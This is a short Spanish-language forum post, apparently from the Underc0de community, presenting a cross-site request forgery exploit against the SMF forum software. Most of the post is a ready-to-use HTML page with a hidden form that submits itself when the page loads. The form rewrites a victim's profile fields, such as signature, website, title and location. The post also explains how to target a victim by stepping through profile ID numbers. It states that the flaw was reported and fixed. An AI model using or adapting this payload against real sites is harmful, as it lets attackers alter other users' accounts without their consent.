Hoy os traigo un csrf en SMF.
Esto es importante, en la ultima linea:
<input type="hidden" name="u" value="94">
En value, donde pone '94' ahí que poner el numero de perfil de la victima es tan fácil como ir a tu perfil y ir cambiando el ultimo numero asta que encuentres su perfil.
<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="http://foro.com/foro/index.php?action=profile;area=forumprofile" method=post name="csrf1">
<input type="hidden" name="avatar_choice" value="none">
<input type="hidden" name="personal_text" value="P3K4D0R">
<input type="hidden" name="bday3" value="6666">
<input type="hidden" name="bday1" value="01">
<input type="hidden" name="bday2" value="12">
<input type="hidden" name="location" value="Mongolia">
<input type="hidden" name="msn" value="[email protected]">
<input type="hidden" name="usertitle" value="Pekador">
<input type="hidden" name="signature" value="Underc0de">
<input type="hidden" name="website_title" value="Underc0de">
<input type="hidden" name="website_url" value="Underc0de.org">
<input type="hidden" name="button_submit" value="Cambiar perfil">
<input type="hidden" name="u" value="94">
<body onload="envio_csrf()">
Reportado: Sí, y fixeado en todas las versiones.